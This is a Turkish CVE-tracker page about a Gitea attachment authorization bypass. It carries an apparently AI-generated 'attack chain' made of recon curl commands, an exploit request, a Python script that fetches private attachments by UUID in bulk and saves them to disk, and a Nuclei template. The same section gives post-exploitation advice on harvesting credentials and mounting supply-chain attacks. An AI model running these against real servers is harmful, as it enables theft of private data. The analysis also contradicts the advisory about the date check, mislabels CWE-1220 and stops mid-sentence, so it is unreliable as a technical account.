CVE Professor — Güvenlik Açığı Takip & Analiz
›
CVE-2026-78433

CWE-284 · CWE-639 · CWE-863

ORTA CVSS 5.9 ⚡ EPSS 0.4% NVD

Gitea's web attachment handler skips its cross-repository ownership check for attachments created before 16 January 2026 and checks permissions against the repository named in the request URL instead. An unauthenticated attacker who knows a private attachment's UUID can request it through a public repository's attachment path and retrieve its contents. This can expose issue and pull request attachments or release assets; the random attachment UUID must already be known to the attacker.

Yayınlanma 14.10.2026
ISO Tarih 2026-10-14
CVSS Sürüm v3.1
Kaynak NVD
CVSS v3.1 Metrikleri
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity None I:N
Availability None A:N
EPSS — Exploit Olasılık Skoru
0.4%
30 günlük olasılık
Tüm CVElerin 31. yüzdeliğinde — Bu açığın istismar edilme ihtimali çoğu CVEden yüksek.
AI Güvenlik Analizi

🎯 Açık Nedir? / What is this vulnerability?

CVE‑2026‑78433 – Gitea “attachment handler” yetki kontrol hatası

  • Etkilenen bileşen: services/attachment/attachment.go (ve ilgili router router/attachment.go).
  • Kod akışı:
  • 1. HTTP GET /{owner}/{repo}/attachments/{uuid} isteği geldiğinde AttachmentHandler fonksiyonu çalışır. 2. Fonksiyon, attachment, err := attachmentModel.GetByUUID(uuid) ile veritabanından UUID’ye karşılık gelen attachment kaydını çeker. 3. Kritik hata: attachment.CreatedAt tarihinin 16 Ocak 2026 tarihinden önce olup olmadığı kontrol edilmez. Bu tarih öncesi kayıtlar için cross‑repository ownership check (attachment.RepoID == repo.ID) atlanır. 4. Sonrasında repo, err := repoModel.GetByName(ctx, owner, repoName) ile URL’deki owner/repo bilgisiyle hedef repository nesnesi alınır ve bu repository üzerinden okuma izni (repo.IsPublic || repo.HasAccess(user)) kontrol edilir. 5. Eğer repository public ise, attachment içeriği doğrudan http.ServeContent ile yanıt olarak döndürülür.
  • Mantıksal hata: Attachment’ın gerçek sahibi (attachment kaydının RepoID alanı) ile istek URL’sinde belirtilen repository bağlantısı eşleştirilmediği için, bir saldırgan başka bir (public) repository yolunu kullanarak özel bir attachment’ı indirebilir.
  • CWE‑284 (Improper Access Control), CWE‑639 (Authorization Bypass Through User-Controlled Key), CWE‑863 (Incorrect Authorization) ve CWE‑1220 (Improper Authorization) bu hatanın temelini oluşturur.
  • ---

    ⚡ Saldırı Zinciri / Attack Chain

    1️⃣ Discovery – Hedefin bulunması

    | Adım | Açıklama | Araç | |------|----------|------| | a) Gitea sürüm tespiti | GET /api/v1/version veya Server: Gitea başlığı üzerinden sürüm bilgisi alınır. | curl -I https://git.example.com/ | | b) Public repository listesi | Gitea API (/api/v1/repos/search?q=) ile tüm public repo listesi çekilir. | curl https://git.example.com/api/v1/repos/search?q= | | c) Attachment UUID tahmini | Public repo içinde issue, pull request, release gibi nesnelerden attachment UUID’leri elde edilir. | curl https://git.example.com/api/v1/repos/<owner>/<repo>/issues?state=all → JSON içinde attachment_id alanı. |

    > Not: UUID’yi “bilmek” zorunludur; ancak Gitea’da attachment UUID’leri genellikle v4 UUID (rastgele 128‑bit) olduğundan brute‑force pratik değildir. Ancak insider bilgi, eski yedekler, log dosyaları veya Git‑LFS metadata’sı üzerinden elde edilebilir.

    2️⃣ Reconnaissance – Gerekli Bilgilerin Toplanması

    | Bilgi | Nasıl elde edilir | |-------|-------------------| | Attachment UUID | - Public repo’da aynı UUID’ye sahip bir placeholder (örnek: bir test issue’da “dummy” dosya). <br>- Eski bir CI/CD pipeline çıktısı (örnek: go test -json logları). | | Attachment oluşturulma tarihi | GET /api/v1/attachments/<uuid> (eğer erişim izni varsa) veya doğrudan veritabanı yedeklerinden created_at alanı. | | Hedef repository (public) | Public repo listesi üzerinden rastgele bir repo seçilir; public olması zorunlu. |

    3️⃣ Exploitation – Gerçek Saldırı

    #### 3.1. Hazırlık
    ```bash

    1) UUID'yi bir değişkene al


    ATTACH_UUID="c3f5e2a1-9b4d-4f2a-8d6e-2a7b9c1d5e3f"

    2) Public repo bilgileri

    OWNER="publicuser" REPO="public-repo" ```

    #### 3.2. İstek Gönderimi (cURL örneği)

    ```bash
    curl -s -o attachment.bin -w "%{http_code}\n" \
    "https://git.example.com/${OWNER}/${REPO}/attachments/${ATTACH_UUID}"
    ```

  • Beklenen sonuç: HTTP 200 OK ve attachment.bin içinde özel issue/pull‑request/ release asset içeriği.
  • Başarısızlık durumları:
  • - 404 → UUID bulunamadı veya tarih kontrolü (16 Jan 2026 sonrası) nedeniyle yetki kontrolü çalıştı. - 403 → Public repo değil veya attachment public olarak işaretlenmiş.

    #### 3.3. Otomatikleştirme (Python script)

    ```python
    import requests, sys

    base = "https://git.example.com"
    owner = "publicuser"
    repo = "public-repo"
    uuids = open("uuids.txt").read().splitlines()

    for u in uuids:
    url = f"{base}/{owner}/{repo}/attachments/{u}"
    r = requests.get(url, timeout=5)
    if r.status_code == 200:
    print(f"[+] Found: {u} ({len(r.content)} bytes)")
    open(f"leak_{u}.bin","wb").write(r.content)
    else:
    print(f"[-] {u} -> {r.status_code}")
    ```

  • Metasploit: Şu an için bir Metasploit modülü bulunmamakta; ancak auxiliary/scanner/http/gitea_attachment_leak gibi bir custom module yazılabilir.
#### 3.4. Nuclei Template (örnek)

```yaml
id: gitea-attachment-leak
info:
name: Gitea Attachment Unauthorized Access
author: yourname
severity: high
tags: gitea,attachment,unauth

requests:
- method: GET
path:
- "{{BaseURL}}/{{Owner}}/{{Repo}}/attachments/{{UUID}}"
matchers:
- type: status
status:
- 200
- type: word
words:
- "Content-Disposition: attachment"
```

4️⃣ Post‑Exploitation

| Aksiyon | Açıklama |
|---------|----------|
| Veri toplama | Issue ve PR ekleri genellikle tasarım dokümanları, konfigürasyon dosyaları, gizli API anahtarları içerir. |
| Credential harvesting | Eğer attachment içinde .env, config.yaml gibi dosyalar varsa, bu dosyalardan veritabanı şifreleri, OAuth tokenları çıkarılabilir. |
| Lateral movement | Çıkarılan credential’lar ile Gitea API (/api/v1/user/authenticate) üzerinden oturum açılarak repository write yetkisi elde edilebilir. |
| Supply‑chain saldırısı | Çıkarılan kod (ör. bir private repo içinde saklanan CI script) değiştirilip public repo’ya push edilerek malicious binary dağıtılabilir. |
| Data exfiltration | Büyük attachment’lar (release assets) doğrudan indirilip dışa aktarılabilir; rsync/scp ile saldırganın kontrolündeki sunucuya gönderilebilir. |

---

🌍 Gerçek Dünya Etkisi / Real World Impact

| Etki Alanı | Açıklama |
|------------|----------|
| Veri sızıntısı | Issue, PR ve release attachment’ları içinde IP adresleri, iç ağ şemaları, API anahtarları, TLS sertifikaları bulunabilir. |
| İş sürekliliği | Özel bir release asset (ör. bir binary) çalınarak sahte sürüm dağıtılabilir; bu da supply‑chain riskini doğurur. |
| Güvenlik açığı zinciri | Çıkarılan

[🤖 GPT-OSS 120B via Groq]

Hedef Keşif Sorguları
CVSS Skoru
5.9 / 10 · CVSS ORTA
Zayıflık Türleri (CWE)
CWE-284 CWE-639 CWE-863 CWE-1220
İlgili CVE'ler
10.0
CVE-2026-89103
SAP Gateway activates the default Access Control List with high privileges allowing categorization of external
10.0
CVE-2026-121352
Adobe Connect is affected by an Incorrect Authorization vulnerability that could result in privilege escalatio
10.0
CVE-2026-109469
Authorization bypass through user-controlled key in Entra Device Registration allows an unauthorized attacker
10.0
CVE-2026-111812
Apache Traffic Server's origin_server_auth plugin lets a client force signing of attacker-chosen AWS request h
10.0
CVE-2026-101809
Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer). S